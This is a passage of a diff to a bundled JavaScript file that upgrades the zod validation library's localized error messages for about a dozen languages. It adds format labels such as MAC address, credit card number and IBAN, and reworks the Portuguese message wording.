\u0921\u093F\u0938\u094D\u0915\u094D\u0930\u093F\u092E\u093F\u0928\u0947\u091F\u0930 \u092E\u093E\u0928: \u0905\u092A\u0947\u0915\u094D\u0937\u093F\u0924 ${opts}`; + } + return "\u0905\u092E\u093E\u0928\u094D\u092F \u0907\u0928\u092A\u0941\u091F"; + case "invalid_element": + return `\u0905\u092E\u093E\u0928\u094D\u092F \u092E\u093E\u0928: ${issue2.origin} \u092E\u093E`; + default: + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0907\u0928\u092A\u0941\u091F`; + } + }; +}; +function ne_default() { + return { + localeError: error36() + }; +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/nl.js +var error37 = () => { const Sizable = { string: { unit: "tekens", verb: "heeft" }, file: { unit: "bytes", verb: "heeft" }, array: { unit: "elementen", verb: "heeft" }, - set: { unit: "elementen", verb: "heeft" } + set: { unit: "elementen", verb: "heeft" }, + map: { unit: "elementen", verb: "heeft" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -62815,12 +64654,16 @@ var error31 = () => { duration: "ISO duur", ipv4: "IPv4-adres", ipv6: "IPv6-adres", + mac: "MAC-adres", cidrv4: "IPv4-bereik", cidrv6: "IPv6-bereik", base64: "base64-gecodeerde tekst", base64url: "base64 URL-gecodeerde tekst", json_string: "JSON string", e164: "E.164-nummer", + credit_card: "creditcardnummer", + currency_code: "valutacode", + iban: "IBAN", jwt: "JWT", template_literal: "invoer" }; @@ -62890,17 +64733,132 @@ var error31 = () => { }; function nl_default() { return { - localeError: error31() + localeError: error37() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/no.js -var error32 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/nn.js +var error38 = () => { + const Sizable = { + string: { unit: "teikn", verb: "\xE5 ha" }, + file: { unit: "bytes", verb: "\xE5 ha" }, + array: { unit: "element", verb: "\xE5 innehalde" }, + set: { unit: "element", verb: "\xE5 innehalde" }, + map: { unit: "element", verb: "\xE5 innehalde" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "input", + email: "e-postadresse", + url: "URL", + emoji: "emoji", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "ISO dato- og klokkeslett", + date: "ISO-dato", + time: "ISO-klokkeslett", + duration: "ISO-varigheit", + ipv4: "IPv4-adresse", + ipv6: "IPv6-adresse", + mac: "MAC-adresse", + cidrv4: "IPv4-spekter", + cidrv6: "IPv6-spekter", + base64: "base64-enkoda streng", + base64url: "base64url-enkoda streng", + json_string: "JSON-streng", + e164: "E.164-nummer", + credit_card: "kredittkortnummer", + currency_code: "valutakode", + iban: "IBAN", + jwt: "JWT", + template_literal: "input" + }; + const TypeDictionary = { + nan: "NaN", + number: "tal", + array: "liste" + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + if (/^[A-Z]/.test(issue2.expected)) { + return `Ugyldig input: forventa instanceof ${issue2.expected}, fekk ${received}`; + } + return `Ugyldig input: forventa ${expected}, fekk ${received}`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `Ugyldig verdi: forventa ${stringifyPrimitive(issue2.values[0])}`; + return `Ugyldig val: forventa eitt av ${joinValues(issue2.values, "|")}`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `For stor(t): forventa ${issue2.origin ?? "value"} til \xE5 ha ${adj}${issue2.maximum.toString()} ${sizing.unit ?? "element"}`; + return `For stor(t): forventa ${issue2.origin ?? "value"} til \xE5 ha ${adj}${issue2.maximum.toString()}`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + if (sizing) { + return `For lite(n): forventa ${issue2.origin} til \xE5 ha ${adj}${issue2.minimum.toString()} ${sizing.unit}`; + } + return `For lite(n): forventa ${issue2.origin} til \xE5 ha ${adj}${issue2.minimum.toString()}`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") + return `Ugyldig streng: m\xE5 starte med "${_issue.prefix}"`; + if (_issue.format === "ends_with") + return `Ugyldig streng: m\xE5 slutte med "${_issue.suffix}"`; + if (_issue.format === "includes") + return `Ugyldig streng: m\xE5 innehalde "${_issue.includes}"`; + if (_issue.format === "regex") + return `Ugyldig streng: m\xE5 matche m\xF8nsteret ${_issue.pattern}`; + return `Ugyldig ${FormatDictionary[_issue.format] ?? issue2.format}`; + } + case "not_multiple_of": + return `Ugyldig tal: m\xE5 vere eit multiplum av ${issue2.divisor}`; + case "unrecognized_keys": + return `${issue2.keys.length > 1 ? "Ukjende n\xF8klar" : "Ukjend n\xF8kkel"}: ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `Ugyldig n\xF8kkel i ${issue2.origin}`; + case "invalid_union": + return "Ugyldig input"; + case "invalid_element": + return `Ugyldig verdi i ${issue2.origin}`; + default: + return `Ugyldig input`; + } + }; +}; +function nn_default() { + return { + localeError: error38() + }; +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/no.js +var error39 = () => { const Sizable = { string: { unit: "tegn", verb: "\xE5 ha" }, file: { unit: "bytes", verb: "\xE5 ha" }, array: { unit: "elementer", verb: "\xE5 inneholde" }, - set: { unit: "elementer", verb: "\xE5 inneholde" } + set: { unit: "elementer", verb: "\xE5 inneholde" }, + map: { unit: "elementer", verb: "\xE5 inneholde" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -62924,14 +64882,18 @@ var error32 = () => { date: "ISO-dato", time: "ISO-klokkeslett", duration: "ISO-varighet", - ipv4: "IPv4-omr\xE5de", - ipv6: "IPv6-omr\xE5de", + ipv4: "IPv4-adresse", + ipv6: "IPv6-adresse", + mac: "MAC-adresse", cidrv4: "IPv4-spekter", cidrv6: "IPv6-spekter", base64: "base64-enkodet streng", base64url: "base64url-enkodet streng", json_string: "JSON-streng", e164: "E.164-nummer", + credit_card: "kredittkortnummer", + currency_code: "valutakode", + iban: "IBAN", jwt: "JWT", template_literal: "input" }; @@ -62999,17 +64961,18 @@ var error32 = () => { }; function no_default() { return { - localeError: error32() + localeError: error39() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ota.js -var error33 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ota.js +var error40 = () => { const Sizable = { string: { unit: "harf", verb: "olmal\u0131d\u0131r" }, file: { unit: "bayt", verb: "olmal\u0131d\u0131r" }, array: { unit: "unsur", verb: "olmal\u0131d\u0131r" }, - set: { unit: "unsur", verb: "olmal\u0131d\u0131r" } + set: { unit: "unsur", verb: "olmal\u0131d\u0131r" }, + map: { unit: "unsur", verb: "olmal\u0131d\u0131r" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -63035,12 +64998,16 @@ var error33 = () => { duration: "ISO m\xFCddeti", ipv4: "IPv4 ni\u015F\xE2n\u0131", ipv6: "IPv6 ni\u015F\xE2n\u0131", + mac: "MAC ni\u015F\xE2n\u0131", cidrv4: "IPv4 menzili", cidrv6: "IPv6 menzili", base64: "base64-\u015Fifreli metin", base64url: "base64url-\u015Fifreli metin", json_string: "JSON metin", e164: "E.164 say\u0131s\u0131", + credit_card: "i'tib\xE2r kart\u0131 numaras\u0131", + currency_code: "para birimi kodu", + iban: "IBAN", jwt: "JWT", template_literal: "giren" }; @@ -63109,17 +65076,18 @@ var error33 = () => { }; function ota_default() { return { - localeError: error33() + localeError: error40() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ps.js -var error34 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ps.js +var error41 = () => { const Sizable = { string: { unit: "\u062A\u0648\u06A9\u064A", verb: "\u0648\u0644\u0631\u064A" }, file: { unit: "\u0628\u0627\u06CC\u067C\u0633", verb: "\u0648\u0644\u0631\u064A" }, array: { unit: "\u062A\u0648\u06A9\u064A", verb: "\u0648\u0644\u0631\u064A" }, - set: { unit: "\u062A\u0648\u06A9\u064A", verb: "\u0648\u0644\u0631\u064A" } + set: { unit: "\u062A\u0648\u06A9\u064A", verb: "\u0648\u0644\u0631\u064A" }, + map: { unit: "\u062A\u0648\u06A9\u064A", verb: "\u0648\u0644\u0631\u064A" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -63145,12 +65113,16 @@ var error34 = () => { duration: "\u0645\u0648\u062F\u0647", ipv4: "\u062F IPv4 \u067E\u062A\u0647", ipv6: "\u062F IPv6 \u067E\u062A\u0647", + mac: "\u062F MAC \u067E\u062A\u0647", cidrv4: "\u062F IPv4 \u0633\u0627\u062D\u0647", cidrv6: "\u062F IPv6 \u0633\u0627\u062D\u0647", base64: "base64-encoded \u0645\u062A\u0646", base64url: "base64url-encoded \u0645\u062A\u0646", json_string: "JSON \u0645\u062A\u0646", e164: "\u062F E.164 \u0634\u0645\u06D0\u0631\u0647", + credit_card: "\u062F \u06A9\u0631\u06CC\u0689\u06CC\u067C \u06A9\u0627\u0631\u062A \u0634\u0645\u06CC\u0631\u0647", + currency_code: "\u062F \u0627\u0633\u0639\u0627\u0631\u0648 \u06A9\u0648\u0689", + iban: "IBAN", jwt: "JWT", template_literal: "\u0648\u0631\u0648\u062F\u064A" }; @@ -63224,17 +65196,18 @@ var error34 = () => { }; function ps_default() { return { - localeError: error34() + localeError: error41() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/pl.js -var error35 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/pl.js +var error42 = () => { const Sizable = { string: { unit: "znak\xF3w", verb: "mie\u0107" }, file: { unit: "bajt\xF3w", verb: "mie\u0107" }, array: { unit: "element\xF3w", verb: "mie\u0107" }, - set: { unit: "element\xF3w", verb: "mie\u0107" } + set: { unit: "element\xF3w", verb: "mie\u0107" }, + map: { unit: "element\xF3w", verb: "mie\u0107" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -63260,12 +65233,16 @@ var error35 = () => { duration: "czas trwania ISO", ipv4: "adres IPv4", ipv6: "adres IPv6", + mac: "adres MAC", cidrv4: "zakres IPv4", cidrv6: "zakres IPv6", base64: "ci\u0105g znak\xF3w zakodowany w formacie base64", base64url: "ci\u0105g znak\xF3w zakodowany w formacie base64url", json_string: "ci\u0105g znak\xF3w w formacie JSON", e164: "liczba E.164", + credit_card: "numer karty kredytowej", + currency_code: "kod waluty", + iban: "IBAN", jwt: "JWT", template_literal: "wej\u015Bcie" }; @@ -63334,121 +65311,301 @@ var error35 = () => { }; function pl_default() { return { - localeError: error35() + localeError: error42() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/pt.js -var error36 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/pt.js +var error43 = () => { const Sizable = { - string: { unit: "caracteres", verb: "ter" }, - file: { unit: "bytes", verb: "ter" }, - array: { unit: "itens", verb: "ter" }, - set: { unit: "itens", verb: "ter" } + string: { unit: "caracteres" }, + file: { unit: "bytes" }, + array: { unit: "elementos" }, + set: { unit: "elementos" }, + map: { unit: "entradas" } }; function getSizing(origin) { return Sizable[origin] ?? null; } const FormatDictionary = { - regex: "padr\xE3o", - email: "endere\xE7o de e-mail", - url: "URL", - emoji: "emoji", - uuid: "UUID", - uuidv4: "UUIDv4", - uuidv6: "UUIDv6", - nanoid: "nanoid", - guid: "GUID", - cuid: "cuid", - cuid2: "cuid2", - ulid: "ULID", - xid: "XID", - ksuid: "KSUID", - datetime: "data e hora ISO", - date: "data ISO", - time: "hora ISO", - duration: "dura\xE7\xE3o ISO", - ipv4: "endere\xE7o IPv4", - ipv6: "endere\xE7o IPv6", - cidrv4: "faixa de IPv4", - cidrv6: "faixa de IPv6", - base64: "texto codificado em base64", - base64url: "URL codificada em base64", - json_string: "texto JSON", - e164: "n\xFAmero E.164", - jwt: "JWT", - template_literal: "entrada" + regex: "a entrada", + email: "o endere\xE7o de e-mail", + url: "o URL", + emoji: "o emoji", + uuid: "o UUID", + uuidv4: "o UUIDv4", + uuidv6: "o UUIDv6", + nanoid: "o nanoid", + guid: "o GUID", + cuid: "o cuid", + cuid2: "o cuid2", + ulid: "o ULID", + xid: "o XID", + ksuid: "o KSUID", + datetime: "a data e hora ISO", + date: "a data ISO", + time: "a hora ISO", + duration: "a dura\xE7\xE3o ISO", + ipv4: "o endere\xE7o IPv4", + ipv6: "o endere\xE7o IPv6", + mac: "o endere\xE7o MAC", + cidrv4: "o intervalo de endere\xE7os IPv4", + cidrv6: "o intervalo de endere\xE7os IPv6", + base64: "o texto codificado em base64", + base64url: "o texto codificado em base64url", + json_string: "o texto JSON", + e164: "o n\xFAmero E.164", + credit_card: "o n\xFAmero de cart\xE3o de cr\xE9dito", + currency_code: "o c\xF3digo de moeda", + iban: "o IBAN", + jwt: "o JWT", + template_literal: "a entrada" + }; + const Gender = { + masculine: { definite: "o", indefinite: "um" }, + feminine: { definite: "a", indefinite: "uma" } }; const TypeDictionary = { - nan: "NaN", - number: "n\xFAmero", - null: "nulo" + string: { name: "texto", articles: Gender.masculine }, + number: { name: "n\xFAmero", articles: Gender.masculine }, + int: { name: "n\xFAmero inteiro", articles: Gender.masculine }, + boolean: { name: "valor booleano", articles: Gender.masculine }, + bigint: { name: "n\xFAmero bigint", articles: Gender.masculine }, + symbol: { name: "s\xEDmbolo", articles: Gender.masculine }, + undefined: { name: 'valor "undefined"', articles: Gender.masculine }, + null: { name: 'valor "nulo"', articles: Gender.masculine }, + never: { name: 'valor "never"', articles: Gender.masculine }, + void: { name: 'valor "void"', articles: Gender.masculine }, + date: { name: "data", articles: Gender.feminine }, + array: { name: "vetor", articles: Gender.masculine }, + object: { name: "objeto", articles: Gender.masculine }, + tuple: { name: "tuplo", articles: Gender.masculine }, + record: { name: "registo", articles: Gender.masculine }, + map: { name: "mapa", articles: Gender.masculine }, + set: { name: "conjunto", articles: Gender.masculine }, + file: { name: "ficheiro", articles: Gender.masculine }, + nonoptional: { name: "valor n\xE3o opcional", articles: Gender.masculine }, + nan: { name: 'valor "NaN"', articles: Gender.masculine }, + // Compatibility: "nan" -> "NaN" for display + function: { name: "fun\xE7\xE3o", articles: Gender.feminine } }; + function translateOriginWithArticle(type, articleType) { + const translatedValue = TypeDictionary[type] ?? { name: `valor "${type}"`, articles: Gender.masculine }; + return `${translatedValue.articles[articleType]} ${translatedValue.name}`; + } return (issue2) => { switch (issue2.code) { case "invalid_type": { - const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const expected = translateOriginWithArticle(issue2.expected, "indefinite"); const receivedType = parsedType(issue2.input); - const received = TypeDictionary[receivedType] ?? receivedType; - if (/^[A-Z]/.test(issue2.expected)) { - return `Tipo inv\xE1lido: esperado instanceof ${issue2.expected}, recebido ${received}`; - } - return `Tipo inv\xE1lido: esperado ${expected}, recebido ${received}`; + const received = translateOriginWithArticle(receivedType, "indefinite"); + return `Entrada inv\xE1lida: esperava ${expected}, recebeu ${received}`; } case "invalid_value": if (issue2.values.length === 1) - return `Entrada inv\xE1lida: esperado ${stringifyPrimitive(issue2.values[0])}`; - return `Op\xE7\xE3o inv\xE1lida: esperada uma das ${joinValues(issue2.values, "|")}`; + return `Entrada inv\xE1lida: esperava ${stringifyPrimitive(issue2.values[0])}`; + return `Op\xE7\xE3o inv\xE1lida: esperava uma das seguintes op\xE7\xF5es: ${joinValues(issue2.values, "|")}`; case "too_big": { const adj = issue2.inclusive ? "<=" : "<"; const sizing = getSizing(issue2.origin); if (sizing) - return `Muito grande: esperado que ${issue2.origin ?? "valor"} tivesse ${adj}${issue2.maximum.toString()} ${sizing.unit ?? "elementos"}`; - return `Muito grande: esperado que ${issue2.origin ?? "valor"} fosse ${adj}${issue2.maximum.toString()}`; + return `Demasiado grande: esperava que ${translateOriginWithArticle(issue2.origin, "definite")} tivesse ${adj} ${issue2.maximum.toString()} ${sizing.unit ?? "elementos"}`; + return `Demasiado grande: esperava que ${translateOriginWithArticle(issue2.origin, "definite")} fosse ${adj} ${issue2.maximum.toString()}`; } case "too_small": { const adj = issue2.inclusive ? ">=" : ">"; const sizing = getSizing(issue2.origin); if (sizing) { - return `Muito pequeno: esperado que ${issue2.origin} tivesse ${adj}${issue2.minimum.toString()} ${sizing.unit}`; + return `Demasiado pequeno: esperava que ${translateOriginWithArticle(issue2.origin, "definite")} tivesse ${adj} ${issue2.minimum.toString()} ${sizing.unit ?? "elementos"}`; } - return `Muito pequeno: esperado que ${issue2.origin} fosse ${adj}${issue2.minimum.toString()}`; + return `Demasiado pequeno: esperava que ${translateOriginWithArticle(issue2.origin, "definite")} fosse ${adj} ${issue2.minimum.toString()}`; } case "invalid_format": { const _issue = issue2; if (_issue.format === "starts_with") + return `Texto inv\xE1lido: deve come\xE7ar por "${_issue.prefix}"`; + if (_issue.format === "ends_with") + return `Texto inv\xE1lido: deve terminar em "${_issue.suffix}"`; + if (_issue.format === "includes") + return `Texto inv\xE1lido: deve incluir "${_issue.includes}"`; + if (_issue.format === "regex") + return `Texto inv\xE1lido: deve corresponder ao padr\xE3o ${_issue.pattern}`; + return `Formato d${FormatDictionary[_issue.format] ?? issue2.format} inv\xE1lido`; + } + case "not_multiple_of": + return `N\xFAmero inv\xE1lido: deve ser m\xFAltiplo de ${issue2.divisor}`; + case "unrecognized_keys": { + const plural2 = issue2.keys.length > 1 ? "s" : ""; + return `Chave${plural2} inv\xE1lida${plural2}: ${joinValues(issue2.keys, ", ")}`; + } + case "invalid_key": + return `Entrada inv\xE1lida n${translateOriginWithArticle(issue2.origin, "definite")}`; + case "invalid_union": + if (issue2.options && Array.isArray(issue2.options) && issue2.options.length > 0) { + const opts = issue2.options.map((o) => `'${o}'`).join(" | "); + return `Valor de discrimina\xE7\xE3o inv\xE1lido. Esperava ${opts}`; + } + return "Entrada inv\xE1lida"; + case "invalid_element": + return `Entrada inv\xE1lida n${translateOriginWithArticle(issue2.origin, "definite")}`; + default: + return `Entrada inv\xE1lida`; + } + }; +}; +function pt_default() { + return { + localeError: error43() + }; +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/pt-BR.js +var error44 = () => { + const Sizable = { + string: { unit: "caracteres" }, + file: { unit: "bytes" }, + array: { unit: "elementos" }, + set: { unit: "elementos" }, + map: { unit: "entradas" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "a entrada", + email: "o endere\xE7o de e-mail", + url: "o URL", + emoji: "o emoji", + uuid: "o UUID", + uuidv4: "o UUIDv4", + uuidv6: "o UUIDv6", + nanoid: "o nanoid", + guid: "o GUID", + cuid: "o cuid", + cuid2: "o cuid2", + ulid: "o ULID", + xid: "o XID", + ksuid: "o KSUID", + datetime: "a data e hora ISO", + date: "a data ISO", + time: "a hora ISO", + duration: "a dura\xE7\xE3o ISO", + ipv4: "o endere\xE7o IPv4", + ipv6: "o endere\xE7o IPv6", + mac: "o endere\xE7o MAC", + cidrv4: "a faixa de endere\xE7os IPv4", + cidrv6: "a faixa de endere\xE7os IPv6", + base64: "o texto codificado em base64", + base64url: "o texto codificado em base64url", + json_string: "o texto JSON", + e164: "o n\xFAmero E.164", + credit_card: "o n\xFAmero de cart\xE3o de cr\xE9dito", + currency_code: "o c\xF3digo de moeda", + iban: "o IBAN", + jwt: "o JWT", + template_literal: "a entrada" + }; + const Gender = { + masculine: { definite: "o", indefinite: "um" }, + feminine: { definite: "a", indefinite: "uma" } + }; + const TypeDictionary = { + string: { name: "texto", articles: Gender.masculine }, + number: { name: "n\xFAmero", articles: Gender.masculine }, + int: { name: "n\xFAmero inteiro", articles: Gender.masculine }, + boolean: { name: "valor booleano", articles: Gender.masculine }, + bigint: { name: "n\xFAmero bigint", articles: Gender.masculine }, + symbol: { name: "s\xEDmbolo", articles: Gender.masculine }, + undefined: { name: 'valor "undefined"', articles: Gender.masculine }, + null: { name: 'valor "nulo"', articles: Gender.masculine }, + never: { name: 'valor "never"', articles: Gender.masculine }, + void: { name: 'valor "void"', articles: Gender.masculine }, + date: { name: "data", articles: Gender.feminine }, + array: { name: "vetor", articles: Gender.masculine }, + object: { name: "objeto", articles: Gender.masculine }, + tuple: { name: "tupla", articles: Gender.feminine }, + record: { name: "registro", articles: Gender.masculine }, + map: { name: "mapa", articles: Gender.masculine }, + set: { name: "conjunto", articles: Gender.masculine }, + file: { name: "arquivo", articles: Gender.masculine }, + nonoptional: { name: "valor n\xE3o opcional", articles: Gender.masculine }, + nan: { name: 'valor "NaN"', articles: Gender.masculine }, + // Compatibility: "nan" -> "NaN" for display + function: { name: "fun\xE7\xE3o", articles: Gender.feminine } + }; + function translateOriginWithArticle(type, articleType) { + const translatedValue = TypeDictionary[type] ?? { name: `valor "${type}"`, articles: Gender.masculine }; + return `${translatedValue.articles[articleType]} ${translatedValue.name}`; + } + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = translateOriginWithArticle(issue2.expected, "indefinite"); + const receivedType = parsedType(issue2.input); + const received = translateOriginWithArticle(receivedType, "indefinite"); + return `Entrada inv\xE1lida: esperava ${expected}, recebeu ${received}`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `Entrada inv\xE1lida: esperava ${stringifyPrimitive(issue2.values[0])}`; + return `Op\xE7\xE3o inv\xE1lida: esperava uma das seguintes op\xE7\xF5es: ${joinValues(issue2.values, "|")}`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `Grande demais: esperava que ${translateOriginWithArticle(issue2.origin, "definite")} tivesse ${adj} ${issue2.maximum.toString()} ${sizing.unit ?? "elementos"}`; + return `Grande demais: esperava que ${translateOriginWithArticle(issue2.origin, "definite")} fosse ${adj} ${issue2.maximum.toString()}`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + if (sizing) { + return `Pequeno demais: esperava que ${translateOriginWithArticle(issue2.origin, "definite")} tivesse ${adj} ${issue2.minimum.toString()} ${sizing.unit ?? "elementos"}`; + } + return `Pequeno demais: esperava que ${translateOriginWithArticle(issue2.origin, "definite")} fosse ${adj} ${issue2.minimum.toString()}`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") { return `Texto inv\xE1lido: deve come\xE7ar com "${_issue.prefix}"`; + } if (_issue.format === "ends_with") return `Texto inv\xE1lido: deve terminar com "${_issue.suffix}"`; if (_issue.format === "includes") return `Texto inv\xE1lido: deve incluir "${_issue.includes}"`; if (_issue.format === "regex") return `Texto inv\xE1lido: deve corresponder ao padr\xE3o ${_issue.pattern}`; - return `${FormatDictionary[_issue.format] ?? issue2.format} inv\xE1lido`; + return `Formato d${FormatDictionary[_issue.format] ?? issue2.format} inv\xE1lido`; } case "not_multiple_of": return `N\xFAmero inv\xE1lido: deve ser m\xFAltiplo de ${issue2.divisor}`; - case "unrecognized_keys": - return `Chave${issue2.keys.length > 1 ? "s" : ""} desconhecida${issue2.keys.length > 1 ? "s" : ""}: ${joinValues(issue2.keys, ", ")}`; + case "unrecognized_keys": { + const plural2 = issue2.keys.length > 1 ? "s" : ""; + return `Chave${plural2} inv\xE1lida${plural2}: ${joinValues(issue2.keys, ", ")}`; + } case "invalid_key": - return `Chave inv\xE1lida em ${issue2.origin}`; + return `Entrada inv\xE1lida n${translateOriginWithArticle(issue2.origin, "definite")}`; case "invalid_union": + if (issue2.options && Array.isArray(issue2.options) && issue2.options.length > 0) { + const opts = issue2.options.map((o) => `'${o}'`).join(" | "); + return `Valor de discrimina\xE7\xE3o inv\xE1lido. Esperava ${opts}`; + } return "Entrada inv\xE1lida"; case "invalid_element": - return `Valor inv\xE1lido em ${issue2.origin}`; + return `Entrada inv\xE1lida n${translateOriginWithArticle(issue2.origin, "definite")}`; default: - return `Campo inv\xE1lido`; + return `Entrada inv\xE1lida`; } }; }; -function pt_default() { +function pt_BR_default() { return { - localeError: error36() + localeError: error44() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ro.js -var error37 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ro.js +var error45 = () => { const Sizable = { string: { unit: "caractere", verb: "s\u0103 aib\u0103" }, file: { unit: "octe\u021Bi", verb: "s\u0103 aib\u0103" }, @@ -63487,6 +65644,9 @@ var error37 = () => { base64url: "\u0219ir codat base64url", json_string: "\u0219ir JSON", e164: "num\u0103r E.164", + credit_card: "num\u0103r de card de credit", + currency_code: "cod valutar", + iban: "IBAN", jwt: "JWT", template_literal: "intrare" }; @@ -63563,11 +65723,11 @@ var error37 = () => { }; function ro_default() { return { - localeError: error37() + localeError: error45() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ru.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ru.js function getRussianPlural(count, one, few, many) { const absCount = Math.abs(count); const lastDigit = absCount % 10; @@ -63583,7 +65743,7 @@ function getRussianPlural(count, one, few, many) { } return many; } -var error38 = () => { +var error46 = () => { const Sizable = { string: { unit: { @@ -63616,6 +65776,14 @@ var error38 = () => { many: "\u044D\u043B\u0435\u043C\u0435\u043D\u0442\u043E\u0432" }, verb: "\u0438\u043C\u0435\u0442\u044C" + }, + map: { + unit: { + one: "\u044D\u043B\u0435\u043C\u0435\u043D\u0442", + few: "\u044D\u043B\u0435\u043C\u0435\u043D\u0442\u0430", + many: "\u044D\u043B\u0435\u043C\u0435\u043D\u0442\u043E\u0432" + }, + verb: "\u0438\u043C\u0435\u0442\u044C" } }; function getSizing(origin) { @@ -63642,12 +65810,16 @@ var error38 = () => { duration: "ISO \u0434\u043B\u0438\u0442\u0435\u043B\u044C\u043D\u043E\u0441\u0442\u044C", ipv4: "IPv4 \u0430\u0434\u0440\u0435\u0441", ipv6: "IPv6 \u0430\u0434\u0440\u0435\u0441", + mac: "MAC \u0430\u0434\u0440\u0435\u0441", cidrv4: "IPv4 \u0434\u0438\u0430\u043F\u0430\u0437\u043E\u043D", cidrv6: "IPv6 \u0434\u0438\u0430\u043F\u0430\u0437\u043E\u043D", base64: "\u0441\u0442\u0440\u043E\u043A\u0430 \u0432 \u0444\u043E\u0440\u043C\u0430\u0442\u0435 base64", base64url: "\u0441\u0442\u0440\u043E\u043A\u0430 \u0432 \u0444\u043E\u0440\u043C\u0430\u0442\u0435 base64url", json_string: "JSON \u0441\u0442\u0440\u043E\u043A\u0430", e164: "\u043D\u043E\u043C\u0435\u0440 E.164", + credit_card: "\u043D\u043E\u043C\u0435\u0440 \u043A\u0440\u0435\u0434\u0438\u0442\u043D\u043E\u0439 \u043A\u0430\u0440\u0442\u044B", + currency_code: "\u043A\u043E\u0434 \u0432\u0430\u043B\u044E\u0442\u044B", + iban: "IBAN", jwt: "JWT", template_literal: "\u0432\u0432\u043E\u0434" }; @@ -63720,17 +65892,135 @@ var error38 = () => { }; function ru_default() { return { - localeError: error38() + localeError: error46() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/sl.js -var error39 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/sk.js +var error47 = () => { + const Sizable = { + string: { unit: "znakov", verb: "ma\u0165" }, + file: { unit: "bajtov", verb: "ma\u0165" }, + array: { unit: "prvkov", verb: "ma\u0165" }, + set: { unit: "prvkov", verb: "ma\u0165" }, + map: { unit: "polo\u017Eiek", verb: "ma\u0165" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "regul\xE1rny v\xFDraz", + email: "e-mailov\xE1 adresa", + url: "URL", + emoji: "emoji", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "d\xE1tum a \u010Das vo form\xE1te ISO", + date: "d\xE1tum vo form\xE1te ISO", + time: "\u010Das vo form\xE1te ISO", + duration: "doba trvania ISO", + ipv4: "IPv4 adresa", + ipv6: "IPv6 adresa", + mac: "MAC adresa", + cidrv4: "rozsah IPv4", + cidrv6: "rozsah IPv6", + base64: "re\u0165azec zak\xF3dovan\xFD vo form\xE1te base64", + base64url: "re\u0165azec zak\xF3dovan\xFD vo form\xE1te base64url", + json_string: "re\u0165azec vo form\xE1te JSON", + e164: "\u010D\xEDslo E.164", + credit_card: "\u010D\xEDslo kreditnej karty", + currency_code: "k\xF3d meny", + iban: "IBAN", + jwt: "JWT", + template_literal: "vstup" + }; + const TypeDictionary = { + nan: "NaN", + number: "\u010D\xEDslo", + string: "re\u0165azec", + function: "funkcia", + array: "pole" + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + if (/^[A-Z]/.test(issue2.expected)) { + return `Neplatn\xFD vstup: o\u010Dak\xE1van\xE9 instanceof ${issue2.expected}, obdr\u017Ean\xE9 ${received}`; + } + return `Neplatn\xFD vstup: o\u010Dak\xE1van\xE9 ${expected}, obdr\u017Ean\xE9 ${received}`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `Neplatn\xFD vstup: o\u010Dak\xE1van\xE9 ${stringifyPrimitive(issue2.values[0])}`; + return `Neplatn\xFD 